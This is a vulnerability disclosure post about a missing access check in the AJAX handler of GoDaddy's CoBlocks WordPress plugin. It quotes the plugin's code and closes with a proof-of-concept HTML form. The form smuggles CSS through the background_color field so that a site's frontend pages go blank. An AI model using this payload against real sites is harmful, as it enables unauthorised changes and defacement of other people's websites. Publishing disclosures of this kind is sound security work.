Is This Authenticated Settings Change Vulnerability in GoDaddy’s CoBlocks What a Hacker Might Be Interested In?
Yesterday, on one of our websites and in data from third-party websites, we saw what looked to be a hacker probing for usage of GoDaddy’s WordPress plugin CoBlocks by requesting the readme.txt file for it:
/wp-content/plugins/coblocks/readme.txt
That plugin has 500,000+ installs according to WordPress.
We couldn’t find any previously disclosed vulnerability that might explain a hacker’s interest in the plugin.
Considering GoDaddy’s poor track record with security (including with their security service Sucuri), it wouldn’t be surprising if there was a vulnerability in the plugin.
Looking over the plugin, we found a pretty glaring security vulnerability, though it is unclear if this might be something that a hacker would be targeting. If someone else spots another vulnerability that might explain this, please let us know.
In the file /includes/class-coblocks-site-design.php, the function update_design_style() is made available through WordPress’ REST API and AJAX systems.
To access that through the REST API, the request would have to come from someone logged in to WordPress with the edit_theme_options capability, so normally only Administrators:
176 177 178 179 180 181 182 183 184 185 186 187 188 189 | public function design_endpoint() { register_rest_route( COBLOCKS_API_NAMESPACE, self::API_ROUTE, array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => function() { // See https://wordpress.org/support/article/roles-and-capabilities/#edit_theme_options. return current_user_can( self::USER_CAP ); }, 'callback' => array( $this, 'update_design_style' ), ) ); } |
18 | const USER_CAP = 'edit_theme_options'; |
That also requires a valid nonce, which prevent cross-site request forgery (CSRF).
To access it through the AJAX system, the only requirement is to be logged in to WordPress:
84 | add_action( 'wp_ajax_site_design_update_design_style', array( $this, 'update_design_style' ) ); |
The function itself doesn’t include any additional security checks to restrict access when accessing through AJAX. The code does restrict to a setup where the GoDaddy theme Go is being used as well (that has 90,000+ installs):
300 301 302 303 304 | public function update_design_style() { // short-circuit. if ( self::short_circuit_check() ) { return array(); } |
101 102 103 | public static function short_circuit_check() { return 'go' !== get_stylesheet(); } |
The function allows updating theme settings:
356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 | if ( $should_update ) { set_theme_mod( 'design_style', $selected_style ); set_theme_mod( 'color_scheme', $color_palette ); if ( isset( $fonts, $font_size, $type_ratio ) ) { $fonts = json_decode( html_entity_decode( $fonts ), true ); if ( is_array( $fonts ) && count( $fonts ) <= 3 ) { $avail_font_keys = str_replace( array( '_heading', '_body' ), '', array_keys( array_merge( ...$default_fonts ) ) ); // flatten array. $font_keys = str_replace( array( '_heading', '_body' ), '', array_keys( $fonts ) ); // Make sure the font pack selected are in the available list of fonts. if ( ! array_diff( $font_keys, $avail_font_keys ) ) { set_theme_mod( 'fonts', $fonts ); } } set_theme_mod( 'font_size', $font_size ); set_theme_mod( 'type_ratio', $type_ratio ); } foreach ( $custom_colors as $theme_mod => $color ) { $theme_mod_string = str_replace( '_color', '', $theme_mod ); $color = ! empty( $color ) ? $color : $design_style['color_schemes'][ $color_palette ][ $theme_mod_string ]; set_theme_mod( $theme_mod, $color ); } } |
The values are sanitized, which limits the impact of the vulnerability:
248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 | protected function sanitize_request_params( $request_params = null ) { $args = array( 'design_style' => FILTER_SANITIZE_SPECIAL_CHARS, 'color_palette' => FILTER_SANITIZE_SPECIAL_CHARS, 'fonts' => FILTER_SANITIZE_SPECIAL_CHARS, 'font_size' => FILTER_SANITIZE_SPECIAL_CHARS, 'type_ratio' => FILTER_VALIDATE_FLOAT, 'should_update' => FILTER_VALIDATE_BOOLEAN, 'initial_load' => FILTER_VALIDATE_BOOLEAN, 'primary_color' => FILTER_SANITIZE_SPECIAL_CHARS, 'secondary_color' => FILTER_SANITIZE_SPECIAL_CHARS, 'tertiary_color' => FILTER_SANITIZE_SPECIAL_CHARS, 'background_color' => FILTER_SANITIZE_SPECIAL_CHARS, ); return is_array( $request_params ) ? filter_var_array( $request_params, $args ) : filter_input_array( INPUT_POST, $args ); } |
What we found could be done with this is to set CSS for frontend pages of the website, which can be used for malicious purposes or, as shown with the proof of concept below, website defacement.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept cause the frontend pages of the website to appear to be blank, when logged in to WordPress and Go theme is used.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=site_design_update_design_style" method="POST"> <input type="hidden" name="design_style" value='traditional' /> <input type="hidden" name="should_update" value='1' /> <input type="hidden" name="background_color" value='white; } html { display: none !important' /> <input type="submit" value="Submit" /> </form> </body>